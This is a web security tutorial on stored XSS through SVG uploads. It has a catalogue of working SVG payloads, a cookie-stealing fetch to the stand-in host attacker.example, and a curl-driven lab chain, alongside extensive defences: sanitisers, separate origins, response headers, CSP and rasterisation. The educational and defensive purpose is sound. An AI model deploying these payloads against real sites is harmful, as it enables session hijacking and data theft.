SVG XSS is the variant I file fastest in upload-form engagements. The path from upload to stored XSS is usually one paste and one View Source check, and the developer has almost always missed it because they were thinking of SVG as an image format, not as an XML document that the browser parses with <script> execution semantics. An attacker uploads <svg><script>alert(document.cookie)</script></svg> as evil.svg, the server stores it, the browser fetches it back with Content-Type: image/svg+xml, and the script runs on whatever origin served the file. If that origin is the application origin, every cookie, every session, every internal API the user has access to is on the table.
This is a stored XSS variant by data flow (payload in, payload back out, every viewer is a victim) and a file upload bug by attack surface, sitting alongside the MIME-type bypass and the image polyglot paths. The defence is layered: parser-aware sanitisation of the SVG body, a separate serving origin, and response headers that force download rather than render.
TL;DR
SVG is an XML format that the browser parses as an active document. It honours <script> tags, every on* event-handler attribute, <foreignObject> with embedded HTML, animation primitives whose values can carry javascript: URIs, and <a xlink:href="javascript:...">. When a server accepts SVG uploads and serves them back as image/svg+xml from the application origin, the file is a stored XSS sink: an attacker posts evil.svg, every legitimate viewer who loads the file executes the embedded script under their own session. The trivial check that "the file is an image" passes because SVG really is an image format; the bug is that it is also an XML document with a scripting surface. The defence stack is parse-and-rebuild sanitisation (DOMPurify on the client, enshrined/svg-sanitize on PHP, bleach plus lxml on Python), a separate origin for user uploads, Content-Disposition: attachment plus X-Content-Type-Options: nosniff on the serving response, and where the use case allows it, server-side rasterisation to PNG so the browser never sees the SVG.
What makes SVG dangerous
Every other common image format (JPEG, PNG, GIF, WebP, AVIF) is a binary container. The browser decodes pixels from it and paints them. There is no execution semantics; the byte stream cannot ask the browser to run code, because the parser has no code path that would.
SVG breaks that model. SVG is an XML grammar inside the wider XML document tree, and the SVG spec gives several elements active-content semantics:
<script>is a real script element. Its text content is executed as JavaScript on the document that hosts the SVG. The same element name as in HTML, the same execution model.- Every event-handler attribute the HTML spec defines (
onload,onclick,onerror,onmouseover,onfocus,onanimationstart, dozens more) is supported on SVG elements, including the root<svg>. They fire on the matching DOM event with the attribute value evaluated as JavaScript. <foreignObject>lets an SVG embed arbitrary HTML inside itself, with the HTML parsed by the HTML parser. Every HTML XSS payload (<img onerror>,<iframe srcdoc>) works inside a foreignObject.<animate>,<set>,<animateMotion>, and<animateTransform>can mutate attribute values on a timer. When the attribute being animated ishreforxlink:href, the animation can swap a benign URL forjavascript:alert(1)between page-load and click.<a xlink:href="javascript:alert(1)">plus a click is a working payload on every browser that supports SVG hyperlinks.<use href="data:image/svg+xml;base64,...">can pull in a second SVG document, which can itself contain any of the above.<style>blocks inside SVG honour the same CSS rules as in HTML. Historically that includedbehavior:and CSSexpression()on IE; in modern browsers the surface is narrower but@importandurl()references still matter for exfiltration.
Every one of those is on by default. None of them require an opt-in flag. The SVG spec considers them part of the format.
The classic payload
The single-paragraph version that fires against any upload form that does not sanitise SVG bodies:
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<rect width="200" height="200" fill="orange"/>
<script type="text/javascript">
fetch('//attacker.example/?c=' + document.cookie);
alert('SVG XSS at ' + document.domain);
</script>
</svg>Save as evil.svg, upload, view at the served URL. The browser walks the request chain like this:
- The browser issues
GET /uploads/evil.svg(or whatever the application's serving route is). The response carriesContent-Type: image/svg+xml. - The browser sees the SVG MIME type and parses the response body with the XML parser, building an SVG document tree.
- The parser encounters
<script>, registers it as an SVG script element, and once the document is complete, executes the script in the context of the page that owns the SVG. document.domainresolves to whatever host served the SVG. If it is the application origin, the script has access to that origin's cookies (subject toHttpOnly), localStorage, and same-origin XHR/fetch.
The persistence is verifiable independently: the uploaded file sits in the application's upload directory as raw XML bytes, and any subsequent visitor to the same URL runs the same payload. This is stored XSS without the comment-table-and-render-loop ceremony: the storage layer is the filesystem, and the rendering layer is the browser's SVG parser.
Variants by active-content surface
The full bypass catalogue. Each entry is a payload plus the kind of sanitiser it defeats. Treat this as the input fuzz list when reviewing SVG sanitisers.
The bare <script> block (the obvious one):
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>Sanitisers that strip <script> tags but forget event handlers lose to the root-element onload:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/><image> is on every "allow-list" because it is in the SVG spec. The onerror attribute is what makes it a sink:
<svg xmlns="http://www.w3.org/2000/svg">
<image href="x" onerror="alert(1)"/>
</svg><foreignObject> smuggles a full HTML payload through an SVG-only sanitiser. The HTML body inside is parsed with HTML rules, so every classic HTML XSS payload works:
<svg xmlns="http://www.w3.org/2000/svg">
<foreignObject width="100" height="100">
<body xmlns="http://www.w3.org/1999/xhtml">
<img src="x" onerror="alert(1)"/>
</body>
</foreignObject>
</svg>A javascript: URI in xlink:href (or href) inside an SVG hyperlink fires on click. Sanitisers that filter href schemes but forget xlink:href (and there are many) lose here:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<a xlink:href="javascript:alert(1)">
<text x="10" y="20">click</text>
</a>
</svg>Animation-driven execution does not need a click. <animate> mutates xlink:href from a safe value to javascript: between load and trigger, and the browser uses whatever value is current when the link fires:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<a>
<animate attributeName="xlink:href" values="javascript:alert(1)"/>
<text x="0" y="20">trigger</text>
</a>
</svg><use> can pull in an external SVG fragment, including a base64-encoded data: URL containing a second SVG that itself fires:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<use xlink:href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIG9ubG9hZD0iYWxlcnQoMSkiLz4="/>
</svg>CDATA-wrapped scripts defeat regex-based "strip <script>...</script>" matchers. The XML parser unwraps CDATA back into executable JS:
<svg xmlns="http://www.w3.org/2000/svg">
<script>
<![CDATA[ alert(document.domain) ]]>
</script>
</svg>A longer collection of payloads with bypass annotations lives in the SVG XSS payload gist.
Content-Type is the trigger
The same byte stream is XSS or harmless text depending entirely on how the server hands it back to the browser. Three response shapes, three different outcomes.
Content-Type: image/svg+xml
Browser parses as SVG. <script> runs on the response's origin. This is the vulnerable shape and the default in many frameworks once a .svg extension is recognised.
Content-Type: text/plain
Browser renders the file as plain text. The XML markup shows in the page as literal angle brackets and tag names. No execution. Harmless, but also useless as an actual image route.
Content-Type: application/octet-stream
X-Content-Type-Options: nosniff
Content-Disposition: attachment; filename="evil.svg"
Browser downloads the file rather than rendering it. The three headers compose: application/octet-stream says "treat as a binary blob", nosniff says "do not guess past my declared type", and Content-Disposition: attachment says "do not render this inline". This is the defended shape for any path that needs to give the file back to the uploader (downloads, support attachments) without giving the browser a reason to parse it.
In between those two extremes is the broken middle: image/svg+xml with nosniff and without Content-Disposition. The browser still parses it as SVG because that is the declared type. nosniff only stops the browser from guessing past the type; it does not change the rendering rules for the type the server actually declared. The fix is either to declare a non-active type or to disposition the response as an attachment, not to slap nosniff on the existing response and call it done.
Same-origin caveats
The script runs on whatever origin serves the SVG. That single sentence determines the impact of every SVG XSS.
If the application is app.example.com and uploads also live at app.example.com/uploads/, the script runs in the application origin. The attacker reads document.cookie (modulo HttpOnly), issues authenticated fetch against the application's own API, reads localStorage, and exfiltrates whatever they can to a host on the wider internet. This is the lethal shape and the default in many Rails / Django / Express deployments where the storage layer sits behind the same hostname as the app.
If uploads live at a separate cdn-style origin (uploads.app.example.com or cdn.app.example.com), the script runs on that origin, with no automatic access to the app's cookies. It can still do damage if user data is mirrored there or if the same cookie is set on a parent domain with Domain=.app.example.com, but the surface is narrower.
If uploads live on a completely unrelated origin (useruploads-cdn.com), the SVG still runs scripts, but those scripts have no privileged access to the application at all. They are effectively malware on a third-party CDN. Worth dealing with for reputation reasons, but not a session-hijack primitive.
The takeaway: serving user-uploaded SVG from the application origin is the dangerous case. Serving it from an isolated origin neuters the cookie-theft chain even if the sanitiser fails.
Real-world incidents
A short tour of SVG XSS in production. Each entry is limited to claims I am confident enough to assert from the linked advisory; verify version-specific details before quoting.
- GitHub disables SVG previews (April 2014). A demonstration polyglot SVG (the file was both a valid PDF and a valid SVG, depending on which parser opened it) bounced around the JS-security community. GitHub's response was to stop rendering uploaded SVGs inline in the file browser and to serve them through a separate
*.githubusercontent.comorigin withContent-Disposition: attachment. The fix is the canonical example of "if you cannot perfectly sanitise it, isolate it". See the GitHub blog post on the broader Markdown-and-uploads hardening that period. - CVE-2017-1000600 (Gogs SVG XSS). Gogs (the self-hosted Git server) rendered SVG attachments and avatars inline from the application origin without sanitisation. An attacker with upload rights (any registered user) could store an SVG with
<script>in any repository's attachment list, and any viewer of the attachment fired the script under their Gogs session. CVSS 6.1 MEDIUM. Fixed by routing SVG serving throughContent-Type: text/plainfor untrusted uploads. NVD entry at CVE-2017-1000600. - CVE-2018-1000537 (Gitea SVG XSS). Same shape as the Gogs bug in Gitea (which forked from Gogs and inherited the rendering path). An uploaded SVG would render inline with the application origin's cookies in scope. Fixed in Gitea 1.4.2. NVD entry at CVE-2018-1000537.
- WordPress media-library SVG (recurring). WordPress core does not allow SVG uploads by default precisely because of this bug class. Every "Enable SVG support" plugin (Safe SVG, SVG Support, and a long tail of one-off uploaders) re-introduces the surface. The Safe SVG plugin specifically uses
enshrined/svg-sanitizeto scrub uploads at write time; the unsanitised variants have shipped stored-XSS bugs through WPScan and Wordfence advisories on a rolling basis. The lesson is that the platform default is correct (block SVG) and the burden of safety is on the plugin that re-enables it.
The pattern is consistent across all four: a developer wants SVG uploads for a legitimate product reason (avatars, logos, attachments, themed icons), the upload path stores the file without parsing it, the serving path declares image/svg+xml on the application origin, and the browser does what the spec told it to do.
A working chain against the lab
The companion lab in techearl-labs ships three new SVG endpoints alongside the existing upload validators. Start it with docker compose up upload-basic and the app listens on http://127.0.0.1:8083.
The vulnerable upload route is /upload-svg.php, the matching server is /svg-view.php, and the defended reference is /upload-svg-strict.php plus /svg-strict-view.php.
Build a payload and upload it:
cat > evil.svg <<'EOF'
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<rect width="200" height="200" fill="orange"/>
<script type="text/javascript">
fetch('//attacker.example/?c=' + document.cookie);
alert('SVG XSS at ' + document.domain);
</script>
</svg>
EOF
curl -F 'file=@evil.svg' http://127.0.0.1:8083/upload-svg.phpThe endpoint returns Stored as evil.svg. View at /svg-view.php?f=evil.svg. The browser-facing trigger is one URL away:
http://127.0.0.1:8083/svg-view.php?f=evil.svg
Open the URL. The alert fires, with document.domain resolving to 127.0.0.1. The fetch call goes to attacker.example carrying any non-HttpOnly cookie the origin has set.
Confirm the response headers that make the attack work:
curl -sI 'http://127.0.0.1:8083/svg-view.php?f=evil.svg'HTTP/1.1 200 OK
Content-Type: image/svg+xml
Content-Length: 354
No X-Content-Type-Options: nosniff, no Content-Disposition. The browser parses the response as an active SVG document and runs the embedded script.
The defended reference is the same payload against /upload-svg-strict.php:
curl -F 'file=@evil.svg' http://127.0.0.1:8083/upload-svg-strict.phpThe endpoint returns Stored sanitised SVG as <random>.svg. Active content stripped. Pulling the stored file shows the <script> block is gone:
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<rect width="200" height="200" fill="orange"/>
</svg>And the headers on the served response:
Content-Type: image/svg+xml
X-Content-Type-Options: nosniff
Content-Disposition: attachment; filename="<random>.svg"
Both defences fire: the sanitiser strips the active content, and Content-Disposition: attachment prevents the browser from rendering even a residual bypass inline. Belt and braces.
Defences in equal weight
Five layers, in roughly the order I apply them. Skip none if the use case allows; the stack composes.
Re-encode through a parser-aware sanitiser. This is the most reliable layer because it parses the SVG with a real XML parser and rebuilds it from an allow-list of elements and attributes. Regex-based scrubs lose to CDATA, entity references, namespace tricks, and any payload that the regex author did not predict. Use a tested sanitiser.
On the client, DOMPurify handles SVG with its USE_PROFILES.svg flag:
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(rawSvg, {
USE_PROFILES: { svg: true, svgFilters: true },
});
element.innerHTML = clean;On a PHP server, enshrined/svg-sanitize is the canonical pick. It is what the Safe SVG WordPress plugin uses:
use enshrined\svgSanitize\Sanitizer;
$sanitizer = new Sanitizer();
$clean = $sanitizer->sanitize(file_get_contents($tmpFile));
file_put_contents($destPath, $clean);On Python, bleach plus lxml covers the equivalent surface. On Node, sanitize-svg wraps DOMPurify against a JSDOM document.
The point is the parse-and-rebuild structure, not the specific library. Anything that walks the XML tree, drops every element and attribute not on an allow-list, and serialises a fresh document is correct. Anything that runs a regex over the raw bytes is wrong, even when it happens to work for the payload in front of it.
Serve uploads from a separate origin. Even a perfectly sanitised SVG layer has the property that one missed gap is full origin compromise. Putting uploads on uploads-cdn.app.example.com (or a separate cookie-less domain entirely) means even a working bypass cannot read the application's cookies. Combine the two: sanitise so bugs are rare, isolate so the bugs that slip through are not session-hijack primitives.
Content-Disposition: attachment plus X-Content-Type-Options: nosniff. For any path that does not need to display the file inline (user document downloads, support attachments, generated reports), forcing download is the cleanest defence. The browser saves the file rather than rendering it; the SVG never executes. nosniff prevents the browser from second-guessing the declared type when the type is something else (avoids the historical IE chain where an SVG declared as text/plain was sniffed back into image/svg+xml).
Content-Security-Policy with script-src 'self' and default-src 'none'. CSP does not make SVG XSS impossible, because the SVG runs on the same origin as the application by default. But a strict CSP without unsafe-inline does block inline <script> blocks inside the SVG (they have no nonce) and inline event-handler attributes (they are inline scripts). Event handlers on SVG elements (onload="...") are blocked by script-src 'self' exactly the same way they would be in HTML. The CSP layer is least-effective against the canonical SVG XSS payload and most-effective against the variants that lean on on* and inline scripts.
Server-side rasterisation. Where the product can accept it, decode the SVG to a raster image (PNG or WebP) on the server and never serve the SVG itself to browsers. The output is a flat image with no scripting surface. Libraries: ImageMagick (convert input.svg output.png), resvg (Rust), sharp with librsvg. The downside is loss of vector quality on high-DPI screens; the upside is that the entire SVG XSS class disappears. Pick this for use cases (forum avatars, generated thumbnails) where the perceptual quality difference is negligible.
Common defender mistakes
Five patterns I see in code review every month.
Allow-listing .svg because "it's an image". The extension allow-list looks safer than a blacklist (and it is, for executable extensions like .php), but treating SVG as a member of the image set is the wrong taxonomy. SVG belongs in the active-document set with HTML, MHTML, and XML. An allow-list that accepts JPEG, PNG, GIF, WebP, and SVG conflates two unrelated surfaces.
Sniffing magic bytes only. Every other image format has a distinctive byte prefix the libmagic database can match. SVG has none, because SVG is plain XML text. file --mime-type on an SVG often returns text/xml or text/plain rather than image/svg+xml, and a magic-byte-only check that allow-lists image/* either rejects valid SVGs or accepts every text file. The heuristic does not transfer from binary images to SVG.
Stripping <script> but leaving event handlers and animation. The most common half-broken sanitiser. The author knows <script> is dangerous, removes those tags with a regex, and ships. The <svg onload>, <image onerror>, and <animate> payloads slide right through. Every regex-based "drop the script tag" sanitiser has lost to the same payload classes for ten years; the lesson does not seem to stick.
Trusting the client-supplied Content-Type. Adjacent to the MIME-type bypass class. The client posts a .svg body with Content-Type: image/png in the multipart header, the server's allow-list of MIME claims accepts image/png, and the file lands on disk with whatever extension the client gave it. The serving route then dispatches by extension (or by libmagic content) and declares image/svg+xml on the response. The MIME claim was a lie at upload time; the active-document behaviour is determined at serve time.
Sanitising on the client only. Client-side DOMPurify on an upload form is bypassed by any attacker who sends the request directly with curl. Sanitisation has to run on the server, or at the moment the bytes are persisted, not in the browser on the upload widget.
Where to go next
For the wider XSS map, the cross-site scripting hub covers the three variants and their defence stack. SVG XSS is a special case of stored XSS; the data flow is the same and the admin-victim chain applies identically when an admin views an uploaded SVG. For the client-side variant that never reaches the server, DOM-based XSS covers the sinks-and-sources mental model. For the session-theft chain that any XSS bug can pivot into, XSS stealing session cookies walks the end-to-end exploitation.
On the file-upload side, the file upload vulnerabilities hub is the parent spoke. The closest sibling is file upload MIME-type bypass, which covers why client-supplied Content-Type is never a valid input to a security check; the image polyglot webshell covers a different bypass shape against the same upload surface. For the wider taxonomy, the web application security vulnerabilities hub is the top of the tree.
For tooling: best XSS tools 2026 covers the discovery side (PortSwigger Burp, XSS Hunter, DOMPurify itself as a developer-side tool) and best file upload tools 2026 covers the upload-side fuzzers (fuxploider, upload_bypass, the burp upload-scanner extension). The SVG payload list at the SVG XSS payload gist is the reference fuzz set for the variants in this article.
Sources
Authoritative references this article was fact-checked against.
- PortSwigger Research, SVG and content-type confusionportswigger.net
- PortSwigger, Stored XSSportswigger.net
- OWASP, Cross Site Scriptingowasp.org
- MDN, SVG script elementdeveloper.mozilla.org
- cure53, DOMPurifygithub.com
- enshrined/svg-sanitizegithub.com
- NVD, CVE-2017-1000600 (Gogs SVG XSS)nvd.nist.gov
- GitHub, SVG preview disabled (2014)github.blog



